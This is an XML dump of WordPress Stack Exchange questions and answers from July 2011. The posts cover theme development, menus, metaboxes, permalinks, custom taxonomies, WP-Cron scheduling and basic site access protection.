  <row Id="23649" PostTypeId="2" ParentId="23570" CreationDate="2011-07-21T11:34:25.387" Score="0" ViewCount="" Body="&lt;p&gt;It is somewhat counter-intuitive but WordPress loads child's theme code before parent's theme. So wrapping anything in &lt;code&gt;function_exists()&lt;/code&gt; in child theme does nothing, it's parent theme that needs to have that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Better option is to unhook parent's theme function (unless it's run right at load, which it should not do) and hook your own.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-21T11:34:25.387" />
  <row Id="23650" PostTypeId="2" ParentId="23647" CreationDate="2011-07-21T11:35:55.573" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/13872/how-to-restrict-access-to-uploaded-files/&quot;&gt;How to restrict access to uploaded files ?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's an answer there to help you restrict access to images and other downloadable files.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-07-21T11:35:55.573" />
  <row Id="23652" PostTypeId="1" CreationDate="2011-07-21T11:38:44.543" Score="0" ViewCount="48" Body="&lt;p&gt;im using wordpress 3.2.1&#xA;i kinda forgot how this things happen..but i remember updating some plugins/wp&#xA;and its happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i can upload an image, but once its finished it show broken link. &#xA;something like this &#xA;&lt;a href=&quot;http://imageshack.us/photo/my-images/688/screenshot20110721at639.png/&quot; rel=&quot;nofollow&quot;&gt;http://imageshack.us/photo/my-images/688/screenshot20110721at639.png/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyone can help? already try deactivate all plugins but nothing happen.&#xA;already empty the &quot;Store uploads in this folder&quot; but nothing happen too&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyone can help?&#xA;thanks&lt;/p&gt;&#xA;" OwnerUserId="7206" LastActivityDate="2011-08-10T05:16:06.253" Title="image uploaded cant be shown" Tags="&lt;image&gt;" AnswerCount="1" />
  <row Id="23653" PostTypeId="1" AcceptedAnswerId="23686" CreationDate="2011-07-21T11:40:36.687" Score="0" ViewCount="25" Body="&lt;p&gt;am using Breadcrumb NavXT plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i want to show all the pages and subpages in breadcrumb.i know this is tough to understand, so am explain briefly here.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;i have the pages:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-&gt;mainpage&lt;/p&gt;&#xA;&#xA;&lt;p&gt;---&gt;subpage1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;---&gt;subpage2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;---&gt;subpage3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if i select &lt;strong&gt;main page&lt;/strong&gt; it need to show &#xA;&lt;strong&gt;you are here&gt;subpage1&gt;subpage2&gt;subpage3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if i select &lt;strong&gt;subpage3&lt;/strong&gt; it need to show&#xA;&lt;strong&gt;mainpage&gt;subpage1&gt;subpage2&gt;you are here&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if i select &lt;strong&gt;subpage1&lt;/strong&gt; it need to show&#xA;&lt;strong&gt;subpage2&gt;subpage3&gt;mainpage&gt;you are here&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i guess,now you got my question.breadcrumb need to show circularly with all pages.&#xA;please help me to achieve this. any plugin do this? or any code?:)&lt;/p&gt;&#xA;" OwnerUserId="5669" LastEditorUserId="5669" LastEditorDisplayName="" LastEditDate="2011-07-22T06:10:12.827" LastActivityDate="2011-07-22T06:10:12.827" Title="breadcrumb need to show all pages and subpages" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;plugin-recommendation&gt;&lt;breadcrumb&gt;" AnswerCount="1" />
  <row Id="23654" PostTypeId="2" ParentId="23647" CreationDate="2011-07-21T11:41:05.280" Score="2" ViewCount="" Body="&lt;p&gt;To protect a whole site against access from anywhere (but allowing access for multiple users) you &lt;strong&gt;need&lt;/strong&gt; some kind of password protection. The preferred/most-common method is to use &lt;a href=&quot;http://www.addedbytes.com/lab/password-protect-a-directory-with-htaccess/&quot; rel=&quot;nofollow&quot;&gt;authorization via a .htaccess-file&lt;/a&gt;. If you don't want to sharing out passwords, one other option is to &lt;a href=&quot;http://www.impetus.us/~rjmooney/projects/misc/clientcertauth.html&quot; rel=&quot;nofollow&quot;&gt;use certificates for logging in&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7089" LastActivityDate="2011-07-21T11:41:05.280" CommentCount="3" />
  <row Id="23656" PostTypeId="1" CreationDate="2011-07-21T11:46:27.027" Score="0" ViewCount="26" Body="&lt;p&gt;i want to change the order of the metaboxes in the write panel for the authors, i want them to be presented with a one column panel. i searched and i found posts saying that the best way is to remove them first and then add them again in the order you need. so i used &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'add_meta_boxes', 'arrange_meta_boxes', 0 );&#xA;function arrange_meta_boxes(){&#xA;global $wp_meta_boxes;&#xA;remove_meta_box( 'postimagediv','agelia','side' );&#xA;remove_meta_box( 'submitdiv','agelia','side' );&#xA;remove_meta_box( 'tagsdiv-post_tag','post','side' );&#xA;remove_meta_box( 'revisionsdiv', 'post', 'side' );&#xA;remove_meta_box( 'formatdiv', 'post', 'normal' );&#xA;remove_meta_box( 'postexcerpt','post','side' );&#xA;remove_meta_box( 'categorydiv','post','side' );&#xA;remove_meta_box( 'bookdiv','agelia','side' );&#xA;&#xA;&#xA;add_meta_box('new_postimagediv', __('Add Photo'), 'post_thumbnail_meta_box', 'agelia', 'normal', 'high');&#xA;add_meta_box('new_categorydiv', __('choose category'), 'post_categories_meta_box', 'agelia', 'normal', 'high');&#xA;add_meta_box( 'new_submitdiv', __('Publish'), 'post_submit_meta_box', 'agelia', 'normal', 'low');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which works but i wanted to ask how..? i can understand the remove_meta_box but when you add it i cannot find the callback function 'post_cateogories_meta_box' for example. i want to understand this better because i use also a custom taxonomy and i want to place it as well somewhere in my write panel and i dont know how... in the above code i remove the bookdiv metabox but i dont know how to add it again.&#xA;thank you&lt;/p&gt;&#xA;" OwnerUserId="6982" LastActivityDate="2011-07-21T11:46:27.027" Title="change the order of metaboxes in the post-edit.page" Tags="&lt;taxonomy&gt;&lt;custom-write-panel&gt;" />
  <row Id="23657" PostTypeId="2" ParentId="22809" CreationDate="2011-07-21T12:09:52.860" Score="1" ViewCount="" Body="&lt;p&gt;got this working like this in the end...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_nthclass($items, $args){&#xA;&#xA;  $scb = get_object_vars($args);&#xA;&#xA;  switch($scb['menu']) {&#xA;&#xA;        case 'mainpages':&#xA;            $nth = 2;&#xA;            $items = explode('&amp;lt;/li&amp;gt;',$items);&#xA;            $newitems = array();&#xA;              // loop through the menu items, and add the new link at the right position&#xA;              foreach($items as $index =&amp;gt; $item)                  {&#xA;&#xA;                if(($index+1) % $nth == 0){&#xA;                    $newitems[] =  str_replace('class=&quot;', 'class=&quot;last ', $item);&#xA;                }else{                      &#xA;                $newitems[]= $item;                 &#xA;                }&#xA;              }&#xA;              // finally put all the menu items back together into a string using the ending &amp;lt;li&amp;gt; tag and return&#xA;              $newitems = implode('&amp;lt;/li&amp;gt;',$newitems);&#xA;&#xA;        case 'footer':&#xA;         // footer menu nth funcs...&#xA;        default:&#xA;&#xA;            $newitems = $items;&#xA;&#xA;    } // End switch&#xA;&#xA;    return $newitems;    &#xA;}    &#xA;add_filter('wp_nav_menu_items', 'add_nthclass', 10, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3978" LastActivityDate="2011-07-21T12:09:52.860" />
  <row Id="23658" PostTypeId="2" ParentId="23335" CreationDate="2011-07-21T12:13:42.297" Score="0" ViewCount="" Body="&lt;p&gt;Ouch, that snippet is ancient (I am kinda its author, more precisely adapted to twitter from other snippet). I would strongly consider using some newer solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had later made newer and written from scratch version, try it &lt;a href=&quot;http://www.rarst.net/script/twitter-counts-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://www.rarst.net/script/twitter-counts-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-21T12:13:42.297" />
  <row Id="23659" PostTypeId="1" CreationDate="2011-07-21T12:23:16.040" Score="0" ViewCount="57" Body="&lt;p&gt;How can I generate a pretty permalink correctly for a post knowing the permalink structure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My posts where processed with the FeedWordPress plugin with the &quot;Link&quot; setting set to &quot;Permalinks point to: The copy on the original website&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for all the posts in the admin area when editing a post the &quot;Permalink&quot; field under the post title shows an original, external site's URL, which is stored in the &quot;syndication_permalink&quot; meta data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to do is to generate a pretty permalink for all such posts that would point to a local host (i.e. the post will have a permalink of type &quot;http://mysite.com/&quot; rather than have an external link to a source), so that I can update the permalinks in DB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can get the permalink structure using &lt;code&gt;get_option('permalink_structure')&lt;/code&gt;. Is there a WP function that I can use to get a pretty permalink generated correctly for a post by its ID?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that makes sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dasha&lt;/p&gt;&#xA;" OwnerUserId="1343" LastEditorUserId="1343" LastEditorDisplayName="" LastEditDate="2011-07-21T14:53:45.790" LastActivityDate="2011-08-20T18:41:48.753" Title="Create pretty permalink for a post knowing the permalink structure" Tags="&lt;posts&gt;&lt;permalinks&gt;&lt;feedwordpress&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="23660" PostTypeId="1" AcceptedAnswerId="23664" CreationDate="2011-07-21T12:30:36.093" Score="0" ViewCount="22" Body="&lt;p&gt;After installation I've got a default root blog '/'. Then I've created a new one '/en'. I really don't want to use the default blog. How can I redirect all accesses from / to /en ?&lt;/p&gt;&#xA;" OwnerUserId="7208" LastActivityDate="2011-07-22T10:20:50.750" Title="How to redirect root blog to a specific one in multilang WP?" Tags="&lt;multisite&gt;&lt;redirect&gt;" AnswerCount="2" />
  <row Id="23663" PostTypeId="2" ParentId="23659" CreationDate="2011-07-21T13:02:36.797" Score="0" ViewCount="" Body="&lt;p&gt;GUID and permalink are two completely independent things. GUIDs are usually based on permalinks, but they don't have to be. Permalinks are not based on GUIDs in any way in modern WP (it had been changed long ago).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you permalinks are not being generated correctly then that plugin (or some other) is breaking something in a bad way, it is unrelated to what your GUIDs contain.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-21T13:02:36.797" CommentCount="2" />
  <row Id="23664" PostTypeId="2" ParentId="23660" CreationDate="2011-07-21T13:13:32.470" Score="0" ViewCount="" Body="&lt;p&gt;In your .htaccess file in the main '/' directory, put:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# This allows you to redirect index.html to a specific subfolder&#xA;Redirect /index.html http://example.com/en/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-07-21T13:13:32.470" />
  <row Id="23665" PostTypeId="1" AcceptedAnswerId="23666" CreationDate="2011-07-21T13:44:46.847" Score="0" ViewCount="27" Body="&lt;p&gt;I have an event scheduled to fetch feeds from different sources at midnight. I believe for some reason it is not being triggered. I use Core Control plugin for testing. When I 'Run Now'  through it, it works fine. What could be possible reason? Any hint that could facilitate me to get to the cause?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no argument to the handler and it is a reoccurring once daily task.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2011-07-21T13:50:23.020" Title="Scheduled event does not run at midnight" Tags="&lt;plugin-development&gt;&lt;cron&gt;&lt;fetch-feed&gt;" AnswerCount="1" />
  <row Id="23666" PostTypeId="2" ParentId="23665" CreationDate="2011-07-21T13:50:23.020" Score="2" ViewCount="" Body="&lt;p&gt;WP-Cron is not a guaranteed time task scheduler. The trigger for WP-Cron is somebody visiting the site itself, so if nobody visits the site at midnight, then the job doesn't run until somebody does visit the site later. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, if you use a whole page caching mechanism like WP-Super-Cache, then anonymous users will not really be &quot;visiting&quot; the site since they're getting cached pages. So that can impact WP-Cron's ability to run on time as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to run timed events precisely, then you need to use a real cron mechanism instead.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-21T13:50:23.020" CommentCount="1" />
  <row Id="23667" PostTypeId="2" ParentId="23566" CreationDate="2011-07-21T14:04:17.233" Score="2" ViewCount="" Body="&lt;p&gt;Use a &lt;code&gt;gettext&lt;/code&gt; filter and match against the text.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'gettext', 'filter_published_on', 10000, 2 );&#xA;function filter_published_on( $trans, $text ) {&#xA;&#xA;    if( 'Published on: &amp;lt;b&amp;gt;%1$s&amp;lt;/b&amp;gt;' == $text ) {&#xA;        global $post;&#xA;        switch( $post-&amp;gt;post_type ) {&#xA;            case 'your-posttype': &#xA;                return 'Whatever on: &amp;lt;strong&amp;gt;%1$s&amp;lt;/strong&amp;gt;';&#xA;            break;&#xA;            default: &#xA;                return $trans;&#xA;            break;&#xA;        }&#xA;    }&#xA;    return $trans;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The alternative would be to copy the publish metabox code, and change the callback function for that metabox to your copied(and modified) version of the function, so you can do what you want with the callback code.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-07-21T14:04:17.233" />
  <row Id="23668" PostTypeId="1" AcceptedAnswerId="23678" CreationDate="2011-07-21T14:20:14.007" Score="0" ViewCount="33" Body="&lt;p&gt;So, I've been building a theme options page, one of the purposes of which is to get some style values to pass to my php stylesheet in the url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Get all theme settings */&#xA;&#xA;global $options;&#xA;&#xA;$options = get_option( 'theme_options' );&#xA;&#xA;/* ...and set 'em up! */&#xA;&#xA;$stylevar = '?ts='.$options['thumbsize'].'?bg='.$options['bg_color'].'?tc='.$options['text_color'].'?hc='.$options['heading_color'].'?nc='.$options['nav_buttons_color'].'';&#xA;&#xA;/* Enqueue */&#xA;&#xA;if( !is_admin() ){&#xA;&#xA;// This format works&#xA;wp_register_style('style', (get_bloginfo('stylesheet_directory') . '/lib/css/style.php?ts='.$options['thumbsize'].''));&#xA;&#xA;// This doesn't&#xA;wp_register_style('style', (get_bloginfo('stylesheet_directory') . '/lib/css/style.php'.$stylevar.''));&#xA;&#xA;wp_enqueue_style('style');&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So two things are happening:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I am getting a WP debug error I'd like to address: &lt;code&gt;Notice: Undefined index&lt;/code&gt; etc. Presumably this has to do with not doing an &lt;code&gt;isset&lt;/code&gt; check?&lt;/li&gt;&#xA;&lt;li&gt;Putting all the settings in a variable is failing, giving me: &lt;code&gt;&quot;style.php?ts=200%3Fbg%3D%3Ftc%3D%3Fhc%3D%3Fnc%3D&amp;amp;amp;ver=3.2.1&quot; type=&quot;text/css&quot;&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here's where the schooling comes in. Is there a cleaner way of writing this? Could the options all be output with some king of loop? ... and how do I fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Willing to learn, please teach :-)&lt;/p&gt;&#xA;" OwnerUserId="6068" LastActivityDate="2011-07-21T16:06:31.140" Title="Need some PHP schoolin'! passing var to url and the old options table" Tags="&lt;theme-options&gt;&lt;variables&gt;&lt;wp-register-style&gt;" AnswerCount="1" />
  <row Id="23669" PostTypeId="1" CreationDate="2011-07-21T14:20:52.640" Score="2" ViewCount="31" Body="&lt;p&gt;I have a taxonomy called &lt;strong&gt;&lt;code&gt;tcp_product_category&lt;/code&gt;&lt;/strong&gt;. In the admin panel I have created a few terms within this taxonomy. On the homepage I want to display the description of one of those terms with the slug &lt;strong&gt;&lt;code&gt;all-products&lt;/code&gt;&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For all normal categories I use this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo category_description( get_term_by('slug', 'guide', 'category')-&amp;gt;term_id  ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This doesn't appear to work with custom taxonomies.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;echo category_description( &#xA;    get_term_by('slug', 'all-products', 'tcp_product_category')-&amp;gt;term_id&#xA;); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All the values I inserted are correct, but the &lt;code&gt;get_term_by()&lt;/code&gt; simply doesn't give any results. Any ideas how to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chris Planeta&lt;/p&gt;&#xA;" OwnerUserId="7212" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-07-23T12:42:51.767" LastActivityDate="2011-07-26T11:41:27.733" Title="How to display a description of a given category from a custom taxonomy" Tags="&lt;categories&gt;&lt;custom-taxonomy&gt;&lt;description&gt;" AnswerCount="1" />
  <row Id="23670" PostTypeId="1" CreationDate="2011-07-21T14:54:27.630" Score="1" ViewCount="13" Body="&lt;p&gt;I created a Class to generate a picture for each post across all post types. Data is saved to and retrived from post meta in the Class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, for displaying and caching the picture--&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function the_picture(){&#xA;global $post,$picture;&#xA;$picture_id = get_the_ID();&#xA;if ( !$picture = wp_cache_get( 'bp_pictures_nouserdata_' . $picture_id, 'bp' ) ) {&#xA;$picture = new BP_Pictures( $picture_id );&#xA;wp_cache_set( 'bp_pictures_nouserdata_' . $picture_id, $picture, 'bp' );&#xA;}&#xA;return apply_filters('the_picture',$picture, $picture_id);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, for getting any data in the object--&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function item_x(){&#xA;global $picture;&#xA;return $picture-&amp;gt;item_x;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Although this code works. But I doubt if it is proper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, the global $picture is not defined in a loop. For any item I want, it will call the $picture which means to initiate a new instance of the class. I feel it's not efficient;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, I have no idea if the cache works or not. Is this the right way to cache an object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Need your advice!&lt;/p&gt;&#xA;" OwnerUserId="5210" LastActivityDate="2011-07-21T14:54:27.630" Title="How to properly display and cache objects that not in the template loop?" Tags="&lt;loop&gt;&lt;cache&gt;&lt;object&gt;" CommentCount="3" />
  <row Id="23671" PostTypeId="1" AcceptedAnswerId="23675" CreationDate="2011-07-21T15:06:24.427" Score="0" ViewCount="36" Body="&lt;p&gt;I am running WP 3.2.1 on a dedicated server and having a little trouble with a second menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a menu at the top of the page which is working fine but I've added a secondary left menu to the left column which is currently showing the top menu despite it being selected in the admin to show the left menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my functions.php I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_nav_menu( 'left-menu', __( 'Left Menu', 'rsi' ) );&#xA;register_nav_menu( 'top-menu', __( 'Top Menu', 'rsi' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in my theme files I've called them up using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_nav_menu( array('rsi' =&amp;gt; 'left-menu' ));?&amp;gt;&#xA;&amp;lt;?php wp_nav_menu( array('rsi' =&amp;gt; 'top-menu' ));?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="1859" LastActivityDate="2011-07-21T15:39:46.207" Title="Second menu not showing" Tags="&lt;theme-development&gt;&lt;menus&gt;" AnswerCount="1" />
  <row Id="23672" PostTypeId="1" AcceptedAnswerId="24344" CreationDate="2011-07-21T15:25:10.707" Score="0" ViewCount="38" Body="&lt;p&gt;I have a WP network and have found that users with roles other than &quot;super user&quot; (admins, editors, authors, etc.) are getting a 404 when trying to preview draft posts/pages/custom post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why this would be? I have the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Version 3.1.4&lt;/li&gt;&#xA;&lt;li&gt;Subdomain network install&lt;/li&gt;&#xA;&lt;li&gt;Domain mapping plugin (if this matters)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7152" LastEditorUserId="7152" LastEditorDisplayName="" LastEditDate="2011-07-28T18:24:50.277" LastActivityDate="2011-07-28T19:14:02.777" Title="Some users getting a 404 when previewing draft posts/pages" Tags="&lt;404-error&gt;&lt;roles&gt;&lt;network&gt;&lt;draft&gt;&lt;previewing&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="23674" PostTypeId="1" CreationDate="2011-07-21T15:38:50.727" Score="0" ViewCount="48" Body="&lt;p&gt;can I assign a template file to custom post types?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a custom post type called &lt;code&gt;items&lt;/code&gt;, and I would like to assign templates to the items like you can do with pages.&lt;/p&gt;&#xA;" OwnerUserId="2632" LastActivityDate="2011-07-22T01:43:23.463" Title="Can I assign a template to a custom post type?" Tags="&lt;custom-post-types&gt;&lt;template&gt;" AnswerCount="2" />
  <row Id="23675" PostTypeId="2" ParentId="23671" CreationDate="2011-07-21T15:39:46.207" Score="3" ViewCount="" Body="&lt;p&gt;You need to pass an array of menus to the &lt;code&gt;register_nav_menu&lt;/code&gt; function like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_nav_menus(&#xA;    array(&#xA;        'menu-1' =&amp;gt; 'Menu Top',&#xA;        'menu-2' =&amp;gt; 'Menu Bottom'&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You then call them in your theme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_nav_menu( array( 'theme_location' =&amp;gt; 'menu-2' ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2011-07-21T15:39:46.207" />
  <row Id="23676" PostTypeId="1" CreationDate="2011-07-21T15:40:43.470" Score="0" ViewCount="44" Body="&lt;p&gt;Hi i am currently replacing my blog run on wordpress  with another neat theme. I tried the preview template feature and everything is fine, just that i don't trust everything so easily when it comes to web-applications. So i want to use the same database currently used[meaning not to use same database for both sites, but make a copy of the database/something with the data/posts] with the post/article and then perfect the theme with the data then replace the old with new.&#xA;I would like detailed steps for just the database part others i can handle :)&#xA;thanks for any and every help&lt;/p&gt;&#xA;" OwnerUserId="2476" LastActivityDate="2011-08-22T09:33:23.493" Title="Using the same database on another Subdomain" Tags="&lt;themes&gt;&lt;database&gt;&lt;template&gt;&lt;shared-hosting&gt;&lt;removal&gt;" AnswerCount="2" />
  <row Id="23677" PostTypeId="2" ParentId="23674" CreationDate="2011-07-21T15:44:39.027" Score="1" ViewCount="" Body="&lt;p&gt;You can create template for custom post types by creating files, like for example :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;single-mycustomposttype.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy#Single_Post_display&quot; rel=&quot;nofollow&quot;&gt;Template Hierarchy&lt;/a&gt; in the codex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PS&lt;/strong&gt; : this has &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2634/display-different-template-based-on-post-type&quot;&gt;already&lt;/a&gt; been answered.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-07-21T15:44:39.027" CommentCount="2" />
  <row Id="23678" PostTypeId="2" ParentId="23668" CreationDate="2011-07-21T15:47:52.490" Score="0" ViewCount="" Body="&lt;p&gt;PHP (as usual) has some nifty stuff, namely &lt;a href=&quot;http://php.net/manual/en/function.http-build-query.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;http_build_query()&lt;/code&gt;&lt;/a&gt; for putting together URL requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However for &lt;del&gt;some reason&lt;/del&gt; &lt;a href=&quot;https://twitter.com/#!/nacin/status/94072355890020352&quot; rel=&quot;nofollow&quot;&gt;(historically) PHP4 compatibility and encoding issues currently&lt;/a&gt; WP maintains fork of that function internally and offers &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/build_query&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;build_query()&lt;/code&gt;&lt;/a&gt; wrapper, as well as nifty higher level function for URL manipulation &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_query_arg&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_query_arg()&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/remove_query_arg&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;remove_query_arg()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-07-21T16:06:31.140" LastActivityDate="2011-07-21T16:06:31.140" CommentCount="3" />
  <row Id="23679" PostTypeId="1" AcceptedAnswerId="23782" CreationDate="2011-07-21T15:48:48.347" Score="1" ViewCount="69" Body="&lt;p&gt;I am using a recipe plugin that uses a custom post type of 'recipe'. I currently have multiple lists of recipes from each category on a page. I am trying to get the title of each category list to link to an archive list of those posts within each category. This is not working, and I'm not sure if I need to create a new archive template, or if I can do it within this code. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;subcats-list&quot;&amp;gt;&#xA;            &amp;lt;h2 class=&quot;subcats-title&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_category_link(39); ?&amp;gt;&quot; title=&quot;No Cook&quot;&amp;gt;&amp;lt;?php echo get_cat_name(39); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;?php&#xA;                $recipes = new WP_Query();&#xA;                $recipes-&amp;gt;query('showposts=5&amp;amp;orderby=rand&amp;amp;cat=39&amp;amp;post_type=recipe');&#xA;&#xA;                while ($recipes-&amp;gt;have_posts()) : $recipes-&amp;gt;the_post(); ?&amp;gt;&#xA;                  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;        &amp;lt;/ul&amp;gt;&amp;lt;!-- subcat --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;NOTE: the title for each category list does currently link to the category archive page, but there are no posts listed. Just a black archive page.&lt;/p&gt;&#xA;" OwnerUserId="4273" LastEditorUserId="4273" LastEditorDisplayName="" LastEditDate="2011-07-21T16:14:16.307" LastActivityDate="2011-07-22T14:02:48.390" Title="Archive list for custom post type categories" Tags="&lt;custom-post-type-archives&gt;" AnswerCount="1" CommentCount="3" />
